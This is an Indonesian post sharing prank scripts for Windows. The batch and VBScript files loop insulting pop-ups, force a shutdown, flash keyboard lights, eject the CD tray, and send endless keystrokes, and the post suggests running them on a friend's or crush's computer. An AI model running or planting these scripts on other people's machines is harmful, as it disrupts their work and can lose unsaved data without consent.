Script - Script Jahil

• message yang nongol melulu

@ECHO off
:Begin
msg * muka lo jelek

msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT
ket:
walaupun di kill task manager,masih tetep nongol message nya :D
kata2 nya bisa diganti sesuai selera masing2...:o
apalagi yg sedang jatuh cinta...kasih tuh ke gebetan lu...:D
di kirain cinta gila...:D

• bikin shutdown+message

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka mu standar abis"
save namafile.BAT

• Mainin Caps Lock button

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs

• buka tutup CD/DVD

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs

• bikin vbscript nongol mlulu

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket:di task manager full wscript yg lg running :D

• teken tombol backspace mlulu

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
save namafile.vbs

• otomatis ngetik "lu jelek banget sih" di notepad/word

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "lu jelek banget sih!!!"
loopsave namafile.vbs

• membuat Lampu kEyBoAd KeDAP-kedIP

         Set wshShell =wscript.CreateObject("WScript.Shell")
         do
         wscript.sleep 100
         wshshell.sendkeys "{CAPSLOCK}"
         wshshell.sendkeys "{NUMLOCK}"
         wshshell.sendkeys "{SCROLLLOCK}"
         loop.
         SIMpaN dDenGaN nAMaFilE.vbS

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